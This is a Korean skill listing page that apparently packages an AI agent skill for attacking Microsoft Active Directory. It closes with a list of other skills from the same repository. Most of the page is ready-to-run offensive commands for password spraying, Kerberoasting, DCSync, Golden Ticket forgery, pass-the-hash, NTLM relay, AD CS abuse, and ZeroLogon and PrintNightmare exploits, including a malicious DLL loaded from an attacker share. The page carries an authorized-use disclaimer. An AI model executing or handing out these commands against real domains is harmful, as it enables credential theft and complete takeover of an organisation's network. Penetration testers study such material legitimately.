Communitygithub.com

SamuelChien/mega-skills-collection

Microsoft Active Directory 환경 공격을 위한 종합적인 기술 제공. 레드 팀 운영 및 침투 테스트를 위한 정찰, 자격 증명 수집, Kerberos 공격, 측면 이동, 권한 상승 및 도메인 장악을 다룹니다.

mega-skills-collection란 무엇인가요?

이 스킬은 보안 전문가가 Microsoft Active Directory 환경을 공격하는 데 필요한 포괄적인 기술을 제공합니다. BloodHound 및 PowerView를 사용한 정찰, Kerberoasting 및 AS-REP Roasting을 통한 자격 증명 수집, Golden/Silver Ticket을 통한 Kerberos 티켓 공격, Pass-the-Hash 및 OverPass-the-Hash를 통한 측면 이동, DCSync 및 AD CS 취약점을 통한 권한 상승, ZeroLogon 및 PrintNightmare와 같은 주요 CVE 악용을 다룹니다. Kali Linux 또는 Windows 공격 플랫폼에서 Impacket, Mimikatz, Rubeus, CrackMapExec와 같은 도구를 사용하며, 유효한 도메인 사용자 자격 증명을 필요로 합니다. 이 스킬은 권한 있는 보안 평가, 방어 검증 또는 통제된 교육 환경에서만 사용해야 합니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/SamuelChien/mega-skills-collection/tree/HEAD/active-directory-attacks

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

승인된 사용 전용: 이 스킬은 승인된 보안 평가, 방어 검증 또는 통제된 교육 환경에서만 사용하십시오.

Active Directory 공격

목적

Microsoft Active Directory 환경 공격을 위한 종합적인 기술 제공. 레드 팀 운영 및 침투 테스트를 위한 정찰, 자격 증명 수집, Kerberos 공격, 측면 이동, 권한 상승 및 도메인 장악을 다룹니다.

입력/전제 조건

  • Kali Linux 또는 Windows 공격 플랫폼
  • 도메인 사용자 자격 증명 (대부분의 공격에 필요)
  • 도메인 컨트롤러에 대한 네트워크 액세스
  • 도구: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

출력/산출물

  • 도메인 열거 데이터
  • 추출된 자격 증명 및 해시
  • 가장용 Kerberos 티켓
  • 도메인 관리자 액세스
  • 지속적 액세스 메커니즘

필수 도구

도구목적
BloodHoundAD 공격 경로 시각화
ImpacketPython AD 공격 도구
Mimikatz자격 증명 추출
RubeusKerberos 공격
CrackMapExec네트워크 악용
PowerViewAD 열거
ResponderLLMNR/NBT-NS 중독

핵심 워크플로

1단계: Kerberos 시계 동기화

Kerberos는 시계 동기화가 필요합니다 (±5분):

# 시계 차이 감지
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Linux에서 시계 수정
sudo date -s "2024 4 14 18:25:16"

# Windows에서 시계 수정
net time /domain /set

# 시스템 시간 변경 없이 가짜 시계 사용
faketime -f '+8h' <command>

2단계: BloodHound를 사용한 AD 정찰

# BloodHound 시작
neo4j console
bloodhound --no-sandbox

# SharpHound로 데이터 수집
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python 수집기 (Linux에서)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

3단계: PowerView 열거

# 도메인 정보 가져오기
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# 사용자 열거
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# 그룹 열거
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# 로컬 관리자 액세스 찾기
Find-LocalAdminAccess -Verbose

# 사용자 헌팅
Invoke-UserHunter
Invoke-UserHunter -Stealth

자격 증명 공격

비밀번호 스프레이 공격

# kerbrute 사용
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# CrackMapExec 사용
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

서비스 계정 TGS 티켓을 추출하고 오프라인에서 크랙:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# hashcat으로 크랙
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

"Kerberos 사전 인증 필요 없음"으로 설정된 계정 대상:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# hashcat으로 크랙
hashcat -m 18200 hashes.txt rockyou.txt

DCSync 공격

DC에서 직접 자격 증명 추출 (디렉터리 복제 변경 권한 필요):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos 티켓 공격

Pass-the-Ticket (Golden Ticket)

krbtgt 해시로 임의 사용자에 대한 TGT 위조:

# 먼저 DCSync를 통해 krbtgt 해시 획득
# Mimikatz - Golden Ticket 생성
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

Silver Ticket

특정 서비스에 대한 TGS 위조:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

NTLM 해시를 Kerberos 티켓으로 변환:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLM 릴레이 공격

Responder + ntlmrelayx

# Responder 시작 (릴레이를 위해 SMB/HTTP 비활성화)
responder -I eth0 -wrf

# 릴레이 시작
ntlmrelayx.py -tf targets.txt -smb2support

# 위임 공격을 위한 LDAP 릴레이
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB 서명 확인

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

인증서 서비스 공격 (AD CS)

ESC1 - 잘못 구성된 템플릿

# 취약한 템플릿 찾기
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# ESC1 악용
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# 인증서로 인증
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - 웹 등록 릴레이

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

주요 CVE

ZeroLogon (CVE-2020-1472)

# 취약점 확인
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# 악용
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# 해시 추출
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# 비밀번호 복원 (중요!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare (CVE-2021-1675)

# 취약점 확인
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# 악용 (악성 DLL 호스팅 필요)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'

samAccountName 스푸핑 (CVE-2021-42278/42287)

# 자동화된 악용
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

빠른 참조

공격도구명령어
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
Pass-the-Hashpsexecpsexec.py domain/user@target -hashes :HASH
Golden TicketMimikatzkerberos::golden /user:Admin /krbtgt:HASH
Spraykerbrutekerbrute passwordspray -d domain users.txt Pass

제약 사항

필수:

  • Kerberos 공격 전에 DC와 시간 동기화
  • 대부분의 공격에 유효한 도메인 자격 증명 보유
  • 모든 손상된 계정 문서화

금지:

  • 과도한 비밀번호 스프레이로 계정 잠금
  • 승인 없이 프로덕션 AD 개체 수정
  • 문서화 없이 Golden Ticket 남기기

권장:

  • 공격 경로 발견을 위해 BloodHound 실행
  • 릴레이 공격 전에 SMB 서명 확인
  • CVE 악용 전 패치 수준 확인

예제

예제 1: Kerberoasting을 통한 도메인 장악

# 1. SPN이 있는 서비스 계정 찾기
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. TGS 티켓 요청
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. 티켓 크랙
hashcat -m 13100 tgs.txt rockyou.txt

# 4. 크랙된 서비스 계정 사용
psexec.py domain.local/svc_admin:[email protected]

예제 2: LDAP으로 NTLM 릴레이

# 1. LDAP 대상 릴레이 시작
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. 인증 트리거 (예: PrinterBug 통해)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. 생성된 머신 계정을 RBCD 공격에 사용

문제 해결

문제해결책
시계 차이 너무 큼DC와 시간 동기화 또는 faketime 사용
Kerberoasting 결과 비어 있음SPN이 있는 서비스 계정 없음
DCSync 액세스 거부디렉터리 복제 변경 권한 필요
NTLM 릴레이 실패SMB 서명 확인, LDAP 대상 시도
BloodHound 비어 있음올바른 자격 증명으로 수집기 실행 확인

추가 자료

위임 공격, GPO 남용, RODC 공격, SCCM/WSUS 배포, ADCS 악용, 트러스트 관계 및 Linux AD 통합을 포함한 고급 기술은 references/advanced-attacks.md를 참조하십시오.

사용 시기

이 스킬은 개요에 설명된 워크플로 또는 작업을 실행하는 데 적용됩니다.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

SamuelChien/mega-skills-collection

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

SamuelChien/mega-skills-collection

Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español.

SamuelChien/mega-skills-collection

Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante.

SamuelChien/mega-skills-collection

Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho.

SamuelChien/mega-skills-collection

2D game development principles. Sprites, tilemaps, physics, camera.

SamuelChien/mega-skills-collection

3D game development principles. Rendering, shaders, physics, cameras.

SamuelChien/mega-skills-collection

Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences.

SamuelChien/mega-skills-collection

Accessibility audit skill for scanning, fixing, and verifying WCAG 2.2 Level A and AA compliance across React, Next.js, Vue, Angular, Svelte, and plain HTML codebases. Use when auditing accessibility, fixing a11y violations, checking color contrast, generating compliance reports, or integrating accessibility checks into CI/CD pipelines.

SamuelChien/mega-skills-collection

Ab Test Analyzer - Auto-activating skill for Data Analytics. Triggers on: ab test analyzer, ab test analyzer Part of the Data Analytics skill category.

SamuelChien/mega-skills-collection

A B Test Config Creator - Auto-activating skill for ML Deployment. Triggers on: a b test config creator, a b test config creator Part of the ML Deployment skill category.

SamuelChien/mega-skills-collection

When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "conversion experiment," "statistical significance," or "test this." For tracking implementation, see analytics-tracking.

SamuelChien/mega-skills-collection

Acceptance Criteria Creator - Auto-activating skill for Enterprise Workflows. Triggers on: acceptance criteria creator, acceptance criteria creator Part of the Enterprise Workflows skill category.

SamuelChien/mega-skills-collection

Use when a coding task should be driven end-to-end from issue intake through implementation, review, deployment, and acceptance verification with minimal human re-intervention.

SamuelChien/mega-skills-collection

Accessibility Audit Runner - Auto-activating skill for Frontend Development. Triggers on: accessibility audit runner, accessibility audit runner Part of the Frontend Development skill category.

SamuelChien/mega-skills-collection

You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.

SamuelChien/mega-skills-collection

Web accessibility patterns for WCAG 2.2 compliance including ARIA, keyboard navigation, screen readers, and testing

SamuelChien/mega-skills-collection

Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed, or change policy for the Discord channel.

SamuelChien/mega-skills-collection

Create unified specification packages across Business, Development, and Design teams. Staged elaboration (L0 Vision → L1 Requirements → L2 Team Detail → L3 Acceptance Criteria) to build shared understanding. Does not write code.

SamuelChien/mega-skills-collection

Research a company or person and get actionable sales intel. Works standalone with web search, supercharged when you connect enrichment tools or your CRM. Trigger with "research [company]", "look up [person]", "intel on [prospect]", "who is [name] at [company]", or "tell me about [company]".

SamuelChien/mega-skills-collection

Validate messaging consistency across website, GitHub repos, and local documentation generating read-only discrepancy reports. Use when checking content alignment or finding mixed messaging. Trigger with phrases like "check consistency", "validate documentation", or "audit messaging".

관련 스킬